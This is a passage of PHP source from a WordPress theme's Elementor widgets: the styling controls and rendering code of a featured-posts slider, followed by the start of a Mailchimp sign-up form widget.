						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-li-ct-wrap' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->add_responsive_control(
			'small_post_heading_pcat',
			array(
				'label'     => __( 'Post Categories', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_cat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_cat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'small_post_cat_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat a',
			)
		);

		$this->add_control(
			'small_post_heading_ptitle',
			array(
				'label'     => __( 'Post Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_title_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lt a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_title_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lt a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'small_post_title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lt h3',
			)
		);

		$this->add_control(
			'small_post_heading_meta',
			array(
				'label'     => __( 'Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_meta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm span, .pc-fho-wrap .pc-fho-li .pc-fho-lm a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_links_color',
			array(
				'label'     => __( 'Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_links_hcolor',
			array(
				'label'     => __( 'Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'small_post_meta_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm',
			)
		);

		$this->add_control(
			'small_post_heading_icon_format',
			array(
				'label'     => __( 'Post Icon Format', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_fm_bd_cl',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-thumb .icon-post-format' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_fm_bg_cl',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-thumb .icon-post-format' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_fm_cl',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-thumb .icon-post-format' => 'color: {{VALUE}};' ),
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_heading_ele_spacing',
			array(
				'label'     => __( 'Elements Spacing', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_post_spacing', array(
				'label'     => __( 'Horizontal Spacing Between each Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--gap: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_post_vspacing', array(
				'description' => __( 'This option does not apply when small posts showing as slider', 'soledad' ),
				'label'       => __( 'Vertical Spacing Between each Posts', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--vgap: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_thumbnail_space', array(
				'label'     => __( 'Post Thumbnail Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-list-img' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_cat_space', array(
				'label'     => __( 'Categories Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_meta_space', array(
				'label'     => __( 'Post Meta Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm' => 'margin-top: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();
		// end Big Post list post

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		//query
		$args          = Query_Control::get_query_args( 'posts', $settings );
		$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
		if ( $original_postype == 'current_query' ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$args['offset'] = $offset;
			}
		}
		$pc_fwhro_query = new \WP_Query( $args );
		$first          = 0;
		$total_post     = $pc_fwhro_query->post_count;

		// style
		$slider           = false;
		$main_thumb_size  = $settings['main_thumb_size'] ? $settings['main_thumb_size'] : 'penci-single-full';
		$main_mthumb_size = $settings['main_mthumb_size'] ? $settings['main_mthumb_size'] : 'penci-masonry-thumb';
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-thumb';
		$mthumb_size      = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-thumb';
		$post_meta        = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat      = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length     = $settings['title_length'] ? $settings['title_length'] : '';
		$title_blength    = $settings['title_blength'] ? $settings['title_blength'] : $title_length;
		$mobile_column    = isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : 1;
		$tablet_column    = isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : 2;

		if ( $total_post - 1 > $settings['column'] ) {
			$slider = true;
		}

		$thumbnail      = $thumb_size;
		$main_thumbnail = $main_thumb_size;
		if ( penci_is_mobile() ) {
			$thumbnail      = $mthumb_size;
			$main_thumbnail = $main_mthumb_size;
		}

		$data_slider       = '';
		$data_slider_class = '';
		if ( $slider ) {
			$data_slider_class = ' penci-owl-carousel penci-owl-carousel-slider';
			$data_slider       .= $settings['showdots'] ? ' data-dots="true"' : '';
			$data_slider       .= 'yes' == $settings['shownav'] ? ' data-nav="false"' : ' data-nav="true"';
			$data_slider       .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider       .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider       .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider       .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
			$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
			$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
			$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
		}

		if ( $pc_fwhro_query->have_posts() ) {
			?>
            <div class="pc-fho">
				<?php $this->markup_block_title( $settings, $this ); ?>
                <div class="pc-fho-wrap">
                    <div class="pc-fho-bg-wrap">
                        <div class="pc-fho-container">
							<?php while ( $pc_fwhro_query->have_posts() ) : $pc_fwhro_query->the_post(); ?>
                                <div class="pc-fho-mp pc-fho-content penci-lazy"
                                     data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $main_thumbnail ); ?>">
                                    <div class="pc-fho-mpct">
										<?php if ( 'yes' != $settings['show_bicon'] ) { ?>
                                            <div class="pc-fho-mi">
                                                <div class="pc-fho-mi-i">
													<?php if ( has_post_format( 'video' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'penciicon-gallery' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'audio' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'link' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'quote' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
													<?php endif; ?>
													<?php if ( ! get_post_format() ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'penciicon-newspaper' ); ?></a>
													<?php endif; ?>
                                                </div>
                                            </div>
										<?php } ?>
                                        <div class="pc-fho-mc<?php if ( 'yes' == $settings['show_bicon'] ) {
											echo ' bct-fullwidth';
										} ?>">
											<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                <div class="cat pc-fho-main-cat pc-fho-cat">
													<?php penci_category( '', $primary_cat ); ?>
                                                </div>
											<?php endif; ?>
                                            <div class="pc-fho-mt">
                                                <h3>
                                                    <a href="<?php the_permalink(); ?>">
														<?php if ( ! $title_blength ) {
															the_title();
														} else {
															echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_blength, '...' );
														} ?>
                                                    </a>
                                                </h3>
                                            </div>
											<?php if ( count( array_intersect( array(
													'author',
													'date',
													'comment',
													'views',
													'reading'
												), $post_meta ) ) > 0 ) { ?>
                                                <div class="grid-post-box-meta pc-fho-mm">
													<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                        <span class="pfw-date-author author-italic">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a class="url fn n"
                                                                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											</span>
													<?php endif; ?>
													<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                        <span class="pfw-date"><?php penci_soledad_time_link(); ?></span>
													<?php endif; ?>
													<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                        <span class="pfw-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
													<?php endif; ?>
													<?php
													if ( in_array( 'views', $post_meta ) ) {
														echo '<span class="pfw-views">';
														echo penci_get_post_views( get_the_ID() );
														echo ' ' . penci_get_setting( 'penci_trans_countviews' );
														echo '</span>';
													}
													?>
													<?php
													$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
													if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                        <span class="pfw-readtime"><?php penci_reading_time(); ?></span>
													<?php endif; ?>
													<?php do_action( 'penci_extra_meta' ); ?>
                                                </div>
											<?php } ?>
                                        </div>
                                    </div>
                                    <a href="<?php the_permalink(); ?>" class="mp-link penci-lazy"
                                       data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $main_thumbnail ); ?>"><?php the_title(); ?></a>
                                </div>
								<?php
								if ( $first ++ == 0 ) {
									break;
								}
							endwhile; ?>
                            <div class="pc-fho-msli-wrapper">
                                <div class="pc-fho-msli pc-fho-content tablet-columns-<?php echo $tablet_column; ?> mobile-columns-<?php echo $mobile_column; ?> columns-<?php echo $settings['column']; ?>">
                                    <div class="pc-fho-msli-inner-ct swiper <?php echo $data_slider_class; ?>" <?php echo $data_slider; ?>>
                                        <div class="swiper-wrapper">
											<?php while ( $pc_fwhro_query->have_posts() ) : $pc_fwhro_query->the_post(); ?>
                                                <div class="pc-fho-li swiper-slide">
                                                    <div class="pc-fho-li-ct-inner-wrap">
                                                        <div class="pc-fho-list-img pcbg-thumb">
															<?php
															do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
															/* Display Review Piechart  */
															if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
																penci_display_piechart_review_html( get_the_ID(), 'small' );
															}
															?>
															<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
																<?php if ( has_post_format( 'video' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'penciicon-gallery' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'link' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
																<?php endif; ?>
															<?php endif; ?>
															<?php if ( 'yes' != $settings['disable_lazy'] ) { ?>
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="penci-image-holder penci-lazy"
                                                                   data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>">
                                                                    <span class="pc-fho-slolay"></span>
                                                                </a>
															<?php } else { ?>
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="penci-image-holder"
                                                                   style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>');<?php if ( 'yes' == $settings['nocrop'] ) {
																	   echo 'padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%';
																   } ?>">
                                                                    <span class="pc-fho-slolay"></span>
                                                                </a>
															<?php } ?>
                                                        </div>
                                                        <div class="pc-fho-li-ct-wrap">
															<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                                <div class="cat pc-fho-list-cat pc-fho-cat">
																	<?php penci_category( '', $primary_cat ); ?>
                                                                </div>
															<?php endif; ?>
                                                            <div class="pc-fho-lt">
                                                                <h3>
                                                                    <a href="<?php the_permalink(); ?>"><?php if ( ! $title_length ) {
																			the_title();
																		} else {
																			echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																		} ?></a></h3>
                                                            </div>
															<?php if ( count( array_intersect( array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading'
																), $post_meta ) ) > 0 ) { ?>
                                                                <div class="grid-post-box-meta pc-fho-lm">
																	<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                        <span class="pfw-date-author author-italic">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a class="url fn n"
                                                                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
											</span>
																	<?php endif; ?>
																	<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                        <span class="pfw-date"><?php penci_soledad_time_link(); ?></span>
																	<?php endif; ?>
																	<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                        <span class="pfw-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
																	<?php endif; ?>
																	<?php
																	if ( in_array( 'views', $post_meta ) ) {
																		echo '<span class="pfw-views">';
																		echo penci_get_post_views( get_the_ID() );
																		echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																		echo '</span>';
																	}
																	?>
																	<?php
																	$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
																	if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                        <span class="pfw-readtime"><?php penci_reading_time(); ?></span>
																	<?php endif; ?>
																	<?php do_action( 'penci_extra_meta' ); ?>
                                                                </div>
															<?php } ?>
                                                        </div>
                                                    </div>
                                                </div>
											<?php endwhile;
											wp_reset_postdata(); ?>
                                        </div>
                                    </div>
                                </div>
                            </div><!--.pc-fho-msli-->
                        </div>
                    </div>
                </div>
            </div>
			<?php
		}
	}
}
PK     1w\%    -  elementor/modules/penci-mail-chimp/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMailChimp;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-mail-chimp';
	}

	public function get_widgets() {
		return array( 'PenciMailChimp' );
	}
}
PK     1w\HS*Y  *Y  ?  elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMailChimp\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMailChimp extends Base_Widget {

	public function get_name() {
		return 'penci-mail-chimp';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Mailchimp', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'mail', 'chimp' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Mailchimp', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'note_important', array(
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => sprintf( __( 'Please set up the Mailchimp SignUp Form first by following <a href="%s" target="_blank">this guide</a>.', 'soledad' ), 'https://soledad.pencidesign.net/soledad-document/#setup_mailchimp' ),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			)
		);

		if ( function_exists( 'mc4wp_get_forms' ) ) {
			$forms              = mc4wp_get_forms();
			$mc4wp_premium_form = [];
			foreach ( $forms as $form ) {
				$mc4wp_premium_form[ $form->ID ] = $form->name . ' - ID: ' . $form->ID;
			}

			$this->add_control(
				'mailchimp_pre_form', array(
					'label'   => __( 'Select Mailchimp Form', 'soledad' ),
					'type'    => Controls_Manager::SELECT,
					'default' => 's1',
					'options' => $mc4wp_premium_form
				)
			);
		}

		$this->add_control(
			'mailchimp_style', array(
				'label'   => __( 'Select Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1'  => esc_html__( 'Style 1 - Default', 'soledad' ),
					's2'  => esc_html__( 'Style 2 - Boxed One Line', 'soledad' ),
					's3'  => esc_html__( 'Style 3 - Background', 'soledad' ),
					's4'  => esc_html__( 'Style 4 - Briefness', 'soledad' ),
					's5'  => esc_html__( 'Style 5', 'soledad' ),
					's6'  => esc_html__( 'Style 6', 'soledad' ),
					's7'  => esc_html__( 'Style 7', 'soledad' ),
					's8'  => esc_html__( 'Style 8', 'soledad' ),
					's9'  => esc_html__( 'Style 9', 'soledad' ),
					's10' => esc_html__( 'Style 10', 'soledad' ),
					's11' => esc_html__( 'Style 11', 'soledad' ),
					's12' => esc_html__( 'Style 12', 'soledad' ),
					's13' => esc_html__( 'Style 13', 'soledad' ),
					's14' => esc_html__( 'Style 14', 'soledad' ),
					's15' => esc_html__( 'Style 15', 'soledad' ),
				)
			)
		);

		$this->add_responsive_control(
			'mailchimp_icon_padding', array(
				'label'      => __( 'Background Area', 'soledad' ),
				'size_units' => [ 'px', '%' ],
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'condition'  => array( 'mailchimp_style' => array( 's11', 's12', 's13', 's14' ) ),
				'selectors'  => array( '{{WRAPPER}} .penci-mailchimp-block .widget_mc4wp_form_widget:before' => 'padding-top: 0;padding-bottom: 0; height: {{SIZE}}px;' ),
			)
		);

		$this->add_responsive_control(
			'mailchimp_icon_size', array(
				'label'      => __( 'Background Image Size', 'soledad' ),
				'size_units' => [ 'px', '%' ],
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'condition'  => array( 'mailchimp_style' => array( 's11', 's12', 's13', 's14' ) ),
				'selectors'  => array( '{{WRAPPER}} .penci-mailchimp-block .widget_mc4wp_form_widget:before' => 'background-size: {{SIZE}}px auto' ),
			)
		);

		$this->add_control(
			'hide_desc', array(
				'label'     => __( 'Hide Description Text?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-block .mdes' => 'display: none;',
				),
				'condition' => array( 'mailchimp_style!' => array( 's4' ) ),
			)
		);

		$this->add_control(
			'hide_name', array(
				'label'     => __( 'Hide Name Field?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-mailchimp-block .mname' => 'display: none;',
				),
				'condition' => array( 'mailchimp_style' => array( 's1', 's2' ) ),
			)
		);

		$this->add_responsive_control(
			'content_w', array(
				'label'      => __( 'Content width', 'soledad' ),
				'size_units' => [ 'px', '%' ],
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min'  => 0,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors'  => array( '{{WRAPPER}} .penci-mailchimp-block' => 'max-width: {{SIZE}}px;width:100%;' ),
			)
		);

		$this->add_control( 'content_alignment', array(
			'label'                => __( 'Content Alignment', 'soledad' ),
			'description'          => __( 'Applies changes when you set a width for the form', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'default'              => 'center',
			'selectors'            => array(
				'{{WRAPPER}} .penci-mailchimp-block' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section(
			'spacing_section', array(
				'label' => esc_html__( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_responsive_control( 'form_padding', array(
			'label'      => __( 'Content Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-mailchimp-s2 .penci-header-signup-form, {{WRAPPER}} .penci-mailchimp-s3 .footer-subscribe' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .mc4wp-form-fields'                                                                               => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'mailchimp_style' => array( 's2', 's3', 's11', 's12', 's13', 's14' ) ),
		) );

		$this->add_responsive_control(
			'mc4wp_formbot', array(
				'label'     => __( 'Sign Up Form Spacing Bottom', 'soledad' ),
